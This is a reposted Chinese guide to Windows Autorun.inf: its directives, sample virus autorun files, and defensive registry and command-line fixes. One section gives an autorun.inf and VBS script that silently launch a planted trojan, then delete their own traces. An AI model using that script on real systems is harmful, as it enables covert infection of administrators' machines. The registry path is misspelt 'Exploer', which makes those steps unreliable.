Autorun.inf完全操作手册_犯中华者虽远必诛!

来源:百度文库 编辑:神马文学网 时间:2024/04/29 16:38:00
Autorun.inf完全操作手册2007年12月31日 星期一 05:02 1 推荐

Autorun.inf完全操作手册

夜火:总结的比较全,有用的几乎都写上了,对比以前收集的《病毒的Autorun.inf新写法与应用以及防御》和《彻底杜绝Autorun.inf自动运行》对自己写写Autorun.inf,或修改,查杀病毒等颇有帮助

笔者按:鉴于现在网上完全介绍Autorun.inf功能的文章不多,笔者在微软官网的一个犄角旮旯找到了一篇Autorun.inf的英文使用说明,在翻译和笔者的亲自试验下写出此篇文章。

======我是分隔线======

一、autorun.inf是windows下操纵光盘行为的一个文件,需要放在光盘根目录下,部分操作对于硬盘也适用。

二、autorun.inf是可以被禁止的。方法如下:

点击开始->运行,在文本框中输入regedit或者regedt32。依次展开HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer,其中的NoDriveTypeAutoRun子键限制着Autorun的作用范围,默认为95(16进制)。

把禁用的设备标志相加设置为键值就可以完成设置,其中设备标志如下:
1:无法识别的设备(建议禁止,默认禁止)
2:没有根目录的设备(Drive without root directory未知含义,建议禁止,默认不禁止)
4:可移动的设备(U盘,建议禁止,很多病毒利用U盘的Autorun.inf进行传染,默认禁止)
8:固定的设备(硬盘,自己看着办,默认不禁止)
16:网络设备(web驱动器,建议禁止,默认禁止)
32:光盘驱动设备(CDROM,默认不禁止)
64:虚拟存储设备(RAM,建议禁止,默认不禁止)
128:未指定的其他驱动器(保留位,建议禁止,默认禁止)

三、autorun.inf文件分为三大部分[AutoRun] [AutoRun.Alpha] [DeviceInstall]。

[AutoRun]适用于Windows95以上系统与32位以上CD-ROM,必选。
[AutoRun.alpha]适用于基于RISC的计算机光驱,适用系统为Windows NT 4.0,可选。
[DeviceInstall]适用于Windows XP以上系统,可选。

四、[AutoRun]部分的命令及其详解。

1、DefaultIcon
含义:
指定应用程序的默认图标。
格式:
DefalutIcon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
应用程序的默认图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。

2、Icon
含义:
指定设备显示图标。
格式:
Icon=图标路径名[,序号]
参数:
图标文件名:应用程序的默认图标路径名,格式可以为.ico、.bmp、.exe、.dll。当文件格式为.exe和.dll时,有时需要使用序号来指定图标。
序号:当文件格式为.exe和.dll时,文件可能包括多余一个图标,此时需要使用序号来指定图标,需要注意的是,序号是从0开始的。
备注:
设备显示图标将在windows explorer核心的驱动显示窗口中替代设备的默认图标来显示。
图标路径名的默认目录是设备根目录。
当存在应用程序默认图标(DefaultIcon)时,本命令无效。

3、Label
含义:
指定设备描述
格式:
Label=描述
参数:
描述:任意文字,可以包括空格。
备注:
设备描述将在windows explorer核心的驱动显示窗口中替代设备的默认描述\卷标来显示。
在非windows explorer核心的驱动显示窗口中(例如右击设备选择属性)显示的仍然是设备的卷标。

4、Open
含义:
指定设备启用时运行之命令行。
格式:
Open=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开或使用ShellExecute命令。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

5、ShellExecute
含义:
指定设备启用时执行文件。(操作系统支持未知)
格式:
ShellExecute=执行文件路径名 [参数]
参数:
执行文件路径名:设备启用时执行文件路径名。可以是任意格式文件。系统会调用设置的程序执行此文件。
参数:参数,根据执行文件作调整
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

6、Shell\关键字\Command
含义:
定义设备右键菜单执行命令行。
格式:
Shell\关键字\Command=命令行
(命令行:程序路径名 [参数])
参数:
命令行:自动运行的命令行,必须是.exe、.com、.bat文件,其他格式文件可以使用start.exe打开。
备注:
命令行的起始目录是设备根目录和系统的$Path环境变量。

7、Shell\关键字
含义:
定义设备右键菜单文本。
格式:
Shell\关键字=文本
参数:
关键字:用以标记菜单,可以使用任何字符表示,包括空格。
文本:在右键菜单中显示的文本。可以使用任何字符,不能存在空格。
备注:
在同一Autorun.inf文件中,不同右键菜单关键字不同,相同右键菜单关键字相同。
右键菜单文本中可以使用&设定加速键,&&输出一个&。
Shell\关键字\Command命令Shell\关键字两者缺一不可,顺序无所谓。
当不存在Open、ShellExecute与Shell命令时,设备启用时运行第一个设备右键菜单指定命令。

8、Shell
含义:
定义设备启用时运行之设备右键命令。
格式:
Shell=关键字
参数:
关键字:标记过的菜单关键字
备注:
Shell指定的关键字可以在AutoRun.inf文件的任意部分。
Open\ShellExecute\Shell命令后定义的优先级高。

四、[AutoRun.alpha]部分的命令简介。

[AutoRun.alpha]部分的命令与[AutoRun]部分的命令相同,只不过在基于RISC的计算机光驱中,[AutoRun.alpha]优先级高于[AutoRun]

五、[DeviceInstall]部分命令及其详解。

DriverPath
含义:
定义搜索驱动程序目录。
格式:
DriverPath=驱动程序路径
参数:
驱动程序路径:驱动程序所在路径,包括其子路径。
备注:
Windows XP以上支持。
仅CD-ROM支持
当系统监测到一个新的设备时,会提示用户寻找设备的驱动程序。当用户点选此CD-ROM时,当[DeviceInstall]部分存在时,系统会按照 DriverPath所标记的路径出寻找驱动程序。未标记的路径系统将忽略查找。当[DeviceInstall]部分不存在时,系统将进行完全查找。
如果不希望系统在此CD-ROM中搜索驱动程序,只加一行[DeviceInstall]不加DriverPath命令即可。

病毒的Autorun.inf新写法与应用以及防御

zj1244小葵&职业欠钱的blog上看到的,感觉不错,转之~

首先是autorun.inf
一般的病毒的Autorun.inf文件内容为
[autorun]
open=.\RECYCLER\RECYCLER\autorun.exe
shell\1=Open
shell\1\Command=.\RECYCLER\RECYCLER\autorun.exe
shell\2\=Browser
shell\2\Command=.\RECYCLER\RECYCLER\autorun.exe

shellexecute=.\RECYCLER\RECYCLER\autorun.exe
它的效果是当双击打开盘时.会运行RECYCLER\RECYCLER\autorun.exe文件,用右键打开,会显示Open,Browser.
还有一种是
[autorun]
OPEN=SVCH0ST.EXE
shell\open=打开(&O)
shell\open\Command=SVCH0ST.EXE
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=SVCH0ST.EXE
对于这种U盘病毒,无论右键选择“打开”还是“资源管理器”病毒都会运行。
一种利用autorun.inf提权的方法(转)
以前看过很多关于AutoRun.inf的利用文章,网上全是千篇一律,互相模仿.我再来添点东西吧~

还是先简单说下原理吧.写一个AutoRun.inf文件,放在对方某一盘符下,当管理员双击此盘时,就会执行AutoRun.inf指定的文件了.一般用在入侵时没有运行权限时,欺骗管理员帮你运行..

以前我在网上看到的都是一个模式

[AutoRun]

open = 你想运行的程序

先不说这样运行是不是成功的,稍微想一下,就知道有问题,人家管理员不是傻子,这样双击是打不开盘符的,人家肯定知道出问题了,所以你玩不长的..

事实上那个文件在我机子是运行不起的,网上也没找到解决办法,相信还有很多人和我遇到过同样的问题,求人不如求已,自己搞定吧.

也不难,只要这样写就OK了:

[AutoRun]
open=AutoRun.exe
shellexecute=AutoRun.exe
shell\Auto\command=AutoRun.exe

这样,你把它保存为一个.inf文件,放在C盘下,AutoRun.exe为你指定的运行程序.这样双击C盘就可以成功运行了.前面还说过一个问题,就是C盘打不开,很容易就被管理员发现了,有待改进.下来就说怎么解决这个问题,GO ON!

其实这个实现起来也不难,先把AutoRun.inf上传至对方C盘,我们可以做一个自解压包,也放在C盘根目录下,让他成为我们的指定运行文件,里面包含我们要运行的程序,比如木马,还一个VBS脚本,自解压包执行后先让他执行VBS脚本,内容如下:

set yu=wscript.createobject("wscript.shell")
yu.run "cmd /c start WINLOG0N.exe",0
yu.run "cmd /c del AutoRun.inf",0
yu.run "cmd /c start c:\",0
yu.run "cmd /c del AutoRun.vbs",0

我再简单解释下,解压后VBS帮我们运行winlogon.exe(我配置好的木马),然后删掉AutoRun.inf,为什么要删掉它,第一,减少被发 现的机会,二,删掉它,管理员重启机子或注销后如果右键点击盘复符不会出现"播放",一切恢复中马前的状态,当然之前我们的木马已经运行了.第四行代码: 我们为他打开C盘,最后再删掉vbs脚本自身.

这样改进后个人觉得安全性大大提高了.呵呵..各位在测试的时候只须把上面脚本中的 WINLOG0N.exe改为自己的木马就可以了.winxp sp2下测试成功。
防治方法
其实这个文件不是病毒。也是用来打开病毒了。防治它的思路有两种:一是禁用自动播放,二是删除它,三是阻止它生成。
1。在Windows系统有允许和阻止自动运行的键值的方法:

   在注册表中找到如下键:

键路径:[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer]

在右侧窗格中有 "NoDriveTypeAutoRun"这个键决定了是否执行Autorun功能.其中每一位代表一个设备,不同设备用以下数值表示:


设备名称 第几位 值 设备用如下数值表示 设备名称含义
DRIVE_UNKNOWN 0 1 01h 不能识别的类型设备
DRIVE_NO_ROOT_DIR 1 0 02h 没有根目录的驱动器
DRIVE_REMOVABLE 2 1 04h 可移动驱动器
DRIVE_FIXED 3 0 08h 固定的驱动器
DRIVE_REMOTE 4 1 10h 网络驱动器
DRIVE_CDROM 5 0 20h 光驱
DRIVE_RAMDISK 6 0 40h RAM磁盘

其中: 保留 7 1 80h  未指定的驱动器类型

以上值"0"表示设备运行,"1"表示设备不运行。
从上面可以看出,对应的DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK是可以自动运 行的。所以要禁止硬盘自动运行AutoRun.inf文件,就必须将DRIVE_FIXED这些键的值设为1,由于DRIVE_FIXED代表固定的驱动 器(即硬盘)。如果仅想禁止软件光盘的AutoRun功能,但又保留对CD音频碟的自动播放能力,这时只需将“NoDriveTypeAutoRun”的 键值改为:BD,00,00,00即可。
     还有就是通过组策略关闭自动播放,但是在有些版本window xp 中不存在哪个策略。
2。为了防止autorun.inf的生成,我们可以在u盘根目录下创建一个名字是autorun.inf的文件夹。
3。我们可以选择在dos下删除文件,但是在通常情况下autorun.inf有系统,隐藏,只读属性。所以应该先去掉这些属性之后再删除文件。具体方法如下:
开始---运行---cmd(打开命令提示符)
D: dir /a a* (没有参数A是看不到的,A是显示所有的意思)
此时你会发现一个autorun.inf文件,
attrib autorun.inf -s -h -r 去掉autorun.inf文件的系统、只读、隐藏属性。然后就可以删除了
del AutoRun.inf
二.常见的病毒
通过autorun文件可以打开任何文件,所以很难讲什么是常见的。我所觉得有趣的是,运行病毒之后,病毒的自我保护方法。比如说存在保护程序,禁用注册表,禁用显示隐藏文件选项或文件夹选项。隐藏进程等等。
1。注册表的禁用与解用。

最好的方法是下载个注册表修复工具
你先到这里看看瑞星的注册表修复工具http://it.rising.com.cn/service/technology/RegClean_download.htm
如果仍然不能解决请按1楼的方法试试
假如"运行"被禁止掉那么请用下面介绍的方法

注册表编辑器已被禁用,我们用INF文件来解除。那么我们可以在记事本里写入下面的内容:
[Version]
Signature="$Windows NT$"

[DefaultInstall]
ADDREG=Myadd

[Myadd]
;解禁注册表编辑器
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,1,0

然后把文件另存为一个INF文件,右击文件----点“安装”就可以啦^O^
我们可以看到第一个语段,在Signature后面的签名"$Windows NT$"它是指明我的操作系统是NT的,如果你的操作系统是98的在后面的签名中应该写"$CHICAGO$"。
再看第二个语段,等号左边的“ADDREG”是不能更改的,等号右边的内容就随你的心情啦,但是有一点要注意,就是要与在第三个语段中使用的语句保持一致。另外还有一项操作是“DELREG”(删除键)和“ADDREG”的用法一样,后面介绍。
好了,这回各位看观是不是想要跃跃欲试了呢,不要着急,好像还有一点和REG文件不一样噢,呵呵我看出来了,就是在文件的最后,怎么有“,”(注:逗号)。还有“HKCU”这些都是什么呀?
这就是与REG文件不一样的格式啦。
“HKCU”指的是注册表中的根键,其中“HKCU”是“HKEY_CURRENT_USER”的缩写,其它的还有“HKCR”--- “HKEY_CLASSES_ROOT”、“HKLM”----“HKEY_LOCAL_MACHINE”、“HKU”---- “HKEY_USERS”、“HKCC”----“HKEY_CURRENT_CONFIG”、“HKDD”----“HKEY_DYN_DATA”。如 果你想要对哪个根键操作那么就可以按照上面的缩写对号入座了。
“,”(注:逗号),它是根键与子键、子键与键名、键名与键类型、键类型与键值的分割符。
在具体修改注册表键值语段的格式为:根键,子键,键名,键类型,键值(注:中间的逗号不能省略)。
上面这个文件中我们知道其实要修改的是DisableRegistryTools键,把它的值改为“0”。它的类型为DWORD(双字节),在INF文件 有关注册表的操作中有字符串类型(用“0”表示)和二进制类型(用“1”表示),在网上没有找到INF文件表示双字节类型的资料,望知道的人补充。在这里 我们直接用二进制类型就可以了,所以大家看到在键类型的位置上是个“1”,最后是要修改的键值“0”。
前面提到“DELREG”它是删除键值的操作,如果要想把DisableRegistryTools键删除的话可以这样写:
[Version]
Signature="$Windows NT$"

[DefaultInstall]
DELREG=Mydel

[Mydel]
;删除DisableRegistryTools键
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools

就是省略掉键类型和键值字段,最后把这个文件另存为一个INF文件,右击文件----点“安装”就可以了。
好了,不知道各位看观是不是看明白了,没看明白也没关系,我写了一个,大家只要把下面的内容复制到记事本中,然后把这个文件另存为一个INF文件,最后右 击文件----点“安装”就可以了。(注:这个文件可以解决前文中所提到问题,只能在NT系统中使用,主页会被改成20CN的首页,嘻嘻做个广告啦 ^O^)。

-----------------------------------------------------------------------------------
[Version]
Signature="$Windows NT$"

[DefaultInstall]
ADDREG=Myadd

[Myadd]
;解禁注册表编辑器
HKCU,Software\Microsoft\Windows\CurrentVersion\Policies\System,DisableRegistryTools,1,0
2。显示出被隐藏的系统文件

运行——regedit

HKEY_LOCAL_MACHINE\Software\Microsoft\windows\CurrentVersion\explorer\Advanced\Folder\Hidden\SHOWALL,将CheckedValue键值修改为1

这里要注意,病毒会把本来有效的DWORD值CheckedValue删除掉,新建了一个无效的字符串值CheckedValue,并且把键值改为0!我 们将这个改为1是毫无作用的。(有部分病毒变种会直接把这个CheckedValue给删掉,只需和下面一样,自己再重新建一个就可以了)

方法:删除此CheckedValue键值,单击右键 新建——Dword值——命名为CheckedValue,然后修改它的键值为1,这样就可以选择“显示所有隐藏文件”和“显示系统文件”。

在文件夹——工具——文件夹选项中将系统文件和隐藏文件设置为显示。